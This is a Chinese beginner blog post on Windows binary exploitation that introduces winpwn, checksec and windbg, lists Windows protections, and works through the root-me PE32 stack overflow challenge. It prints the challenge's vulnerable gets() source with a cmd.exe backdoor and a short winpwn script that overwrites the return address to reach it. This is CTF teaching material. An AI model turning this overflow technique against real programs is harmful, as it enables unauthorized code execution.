windows pwn(一)
前言
前几天因为看CS shellcode
装了一个win10
虚拟机,然后正好因为逆向课老师要装一系列工具。于是就想起来之前一直想看的windows pwn
,就顺便装了一下相关工具并且入门了一下。
工具安装
winpwn
这个和pwntools
差不多,不过可以让我们本地跑windows
的程序(pwntools
只可以本地跑linux
的)。可以通过以下命令安装:
- pip3 install winpwn
- pip3 install pefile
- pip3 install keystone-engine
- pip3 install install capstone
安装完成之后可以通过from winpwn import *
来检查一下,如果不报错那么即代表安装好了。
checksec
用来检查程序的保护机制是否开启。通过如下链接即可从github
上下载到一个现成的。
https://github.com/Wenzel/checksec.py/releases/download/v0.6.2/checksec.exe
windbg
用来对程序进行调试。我推荐直接在Microsof store
里下载windbg preview
。(不过笔者由于操作不当,竟然把这玩意强行粉碎了,并且还没找到办法重新下载一个)于是笔者就随便找了一个windbg
用了一下。
win_server
EX
师傅写的,用来把程序映射到某个端口,方便我们的调试。项目地址如下:
https://github.com/Ex-Origin/win_server.git
保护机制
windows
下的保护机制感觉比linux
下多很多。
1、NX:(在windows
下应该是DEP
,可能是我这个checksec
不标准)。表示堆栈不可执行。
2、Canary:(在windows
下应该是GS
,可能是我这个checksec
不标准)。用来检测缓冲区溢出,与linux
下的canary
一样。
3、ASLR:地址随机化,使得exe,dll
的地址不固定。
4、Dynamic Base:程序编译时可通过/DYNAMICBASE
编译选项指示程序是否利用ASLR
的功能。
5、High Entropy VA:我也不是很理解(也许是使得随机化程度更高?
6、SEH:结构化异常处理(Structured Exception Handling,简称 SEH)是一种Windows
操作系统对错误或异常提供的处理技术。为Windows
的程序设计者提供了程序错误或异常的处理途径,使得系统更加健壮。
7、SafeSEH:为了防止攻击者通过覆盖堆栈上的异常处理函数句柄,从而控制程序执行流程的攻击,在调用异常处理函数之前,对要调用的异常处理函数进行一系列的有效性校验,如果发现异常处理函数不可靠,立即终止异常处理函数的调用。
8、Force Integrity:强制签名保护。
9、Control Flow Guard:控制Flow
防护 (CFG) 是一项高度优化的平台安全功能,旨在打击内存损坏漏洞。 通过严格限制应用程序可以从何处执行代码,利用漏洞(如缓冲区溢出)执行任意代码会更加困难。
10、Isolation:隔离保护,默认会开启。
11、Authenticode:签名保护。
例题
这里我们拿root-me PE32 - Stack buffer overflow basic来练手。
程序只开了DEP和SEH,并且程序的源代码已经给我们了,如下:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <ctype.h>
#define DEFAULT_LEN 16
void admin_shell(void)
{
system("C:\\Windows\\system32\\cmd.exe");
}
int main(void)
{
char buff[DEFAULT_LEN] = {0};
int i;
gets(buff);
for (i = 0; i < DEFAULT_LEN; i++) {
buff[i] = toupper(buff[i]);
}
printf("%s\n", buff);
}
那么就是一个很明显的缓冲区溢出,并且还给了我们后门函数,直接用winpwn写exp即可。
from winpwn import *
context.log_level='debug'
context.arch='i386'
r = process('./ch72.exe')
payload = 'a' * (0x14 + 4)
payload += p32(0x401000)
r.sendline(payload)
sleep(1)
r.sendline('calc')
r.interactive()
调试方法
windows pwn
的调试方法很多,这里我就介绍一种,借助Ex师傅的win server进行调试。
首先用win server把我们要调试的程序映射到某一端口上,如下:
接着用pwntools发包使得程序得以运行,此时我们就可以通过windbg attach 上去,愉快地调试了。
同时可以通过这个工具(https://learn.microsoft.com/zh-cn/sysinternals/downloads/vmmap)查看程序的内存分布
参考链接
https://www.z1r0.top/2022/11/23/win-pwn初探(一)/#安装winpwn
https://www.z1r0.top/2022/11/30/win-pwn初探(二)/#利用pwntools编写exp
https://xuanxuanblingbling.github.io/ctf/pwn/2020/07/09/winpwn/
windows pwn(一)的更多相关文章
- 我也来学着写写WINDOWS服务-解析xml抓取数据并插入数据库
项目告一段落,快到一年时间开发了两个系统,一个客户已经在试用,一个进入客户测试阶段,中间突然被项目经理(更喜欢叫他W工)分派一个每隔两小时用windows服务去抓取客户提供的外网xml,解析该xml, ...
- Windows服务框架与服务的编写
从NT内核开始,服务程序已经变为一种非常重要的系统进程,一般的驻守进程和普通的程序必须在桌面登录的情况下才能运行,而许多系统的基础程序必须在用户登录桌面之前就要运行起来,而利用服务,可以很方便的实现这 ...
- 我的pwn笔记
0.64位程序参数一次保存在RDI,RSI,RDX,RCX,R8和 R9,具体见图 windows64位调用约定 1.<_libc_csu_init>有一些万能gadget,汇编如下 #! ...
- Pwn入坑指南
栈溢出原理 参考我之前发的一篇 Windows栈溢出原理 还有 brant 师傅的<0day安全笔记> Pwn常用工具 gdb:Linux下程序调试 PEDA:针对gdb的python漏洞 ...
- Windows Shell远程执行代码漏洞((CVE-2018-8414)复现
0x00 SettingContent-ms文件介绍 .SettingContent-ms是在Windows 10中引入的一种文件类型,它的内容是XML格式进行编写的,主要用于创建Windows设 ...
- PWN菜鸡入门之栈溢出 (2)—— ret2libc与动态链接库的关系
准备知识引用自https://www.freebuf.com/articles/rookie/182894.html 0×01 利用思路 ret2libc 这种攻击方式主要是针对 动态链接(Dynam ...
- CTF必备技能丨Linux Pwn入门教程——PIE与bypass思路
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
- pwn学习日记Day5 基础知识积累
知识杂项 int mprotect(const void *start, size_t len, int prot); mprotect()函数把自start开始的.长度为len的内存区的保护属性修改 ...
- 【CTF】Pwn入门 XCTF 部分writeup
碎碎念 咕咕咕了好久的Pwn,临时抱佛脚入门一下. 先安利之前看的一个 Reverse+Pwn 讲解视频 讲的还是很不错的,建议耐心看完 另外感觉Reverse和Pwn都好难!! 不,CTF好难!! ...
- PWN学习之栈溢出
目录 PWN学习之栈溢出 前言 写bug bug.cpp源码 OD动态调试bug.exe OD调试观察溢出 栈溢出攻击之突破密码验证 x64位栈溢出 PWN学习之栈溢出 前言 我记得我在最开始学编程的 ...
随机推荐
- 5V升压12.6V
产品概述 PW4053 是一款 5V 输入,最大 1.2A 充电电流,支持三节锂离子电池的升压充电管理 IC.PW4053 集成功率 MOS,采用异步开关架构,使其在应用时仅需极少的外围器件,可有效减 ...
- PyTorch复现VGG学习笔记
PyTorch复现ResNet学习笔记 一篇简单的学习笔记,实现五类花分类,这里只介绍复现的一些细节 如果想了解更多有关网络的细节,请去看论文<VERY DEEP CONVOLUTIONAL N ...
- 基于.NetCore开发博客项目 StarBlog - (22) 开发博客文章相关接口
前言 本文介绍博客文章相关接口的开发,作为接口开发介绍的第一篇,会写得比较详细,以抛砖引玉,后面的其他接口就粗略带过了,着重于WebApi开发的周边设施. 涉及到的接口:文章CRUD.置顶文章.推荐文 ...
- js 非空判断
是否为 null 是否为 "" 是否为空字符串(引号中间有空格) 如: " ". 制表符.换行符.换页符和回车 一. 字符串 1. if(str == ...
- pyCharm中下载包的速度慢的解决方案
1.解决方案 使用阿里镜像 2.具体步骤 1.在项目里面新建一个xxx.py文件 2.然后将下面的代码复制进xxx.py文件 import os ini = "[global]\nindex ...
- CH579(Cortex-M0)网络IAP升级介绍及问题解答--(持续更新) 网络升级
CH579网络IAP升级的源码可以从码云(Gitee)上git clone下来. 码云地址:https://gitee.com/maji19971221/wch-ch57x 以下是一个朋友问的几个常见 ...
- Python二维码扫描
原文链接:https://blog.easyctf.cn/Moxin/59365.html 模块准备 1.pyzbar pip install pyzbar 2.PIL 注意:PIL只支持Python ...
- [OpenCV实战]31 使用OpenCV将一个三角形仿射变换到另一个三角形
目录 1 什么是仿射变换? 2 使用OpenCV进行三角形仿射变换 2.1 定义输入和输出 2.2 计算边界框 2.3 裁剪图像和更改坐标 2.4 计算仿射变换矩形 2.5 应用仿射变换到三角形 2. ...
- kafka详解(03) - kafka JAVA API
kafka详解(03) - kafka JAVA API Producer (生产者)API 消息发送流程 Kafka的Producer发送消息采用的是异步发送的方式.在消息发送的过程中,涉及到了两个 ...
- js获取天气插件
SDK介绍 根据指定入参,传入三个 select 的 id值 及 回调函数,每次选项变更都会拿到对应地区最新天气数据. 必须是三个 Select 标签 有记住选项功能,避免重复相关逻辑. 1.依赖源码 ...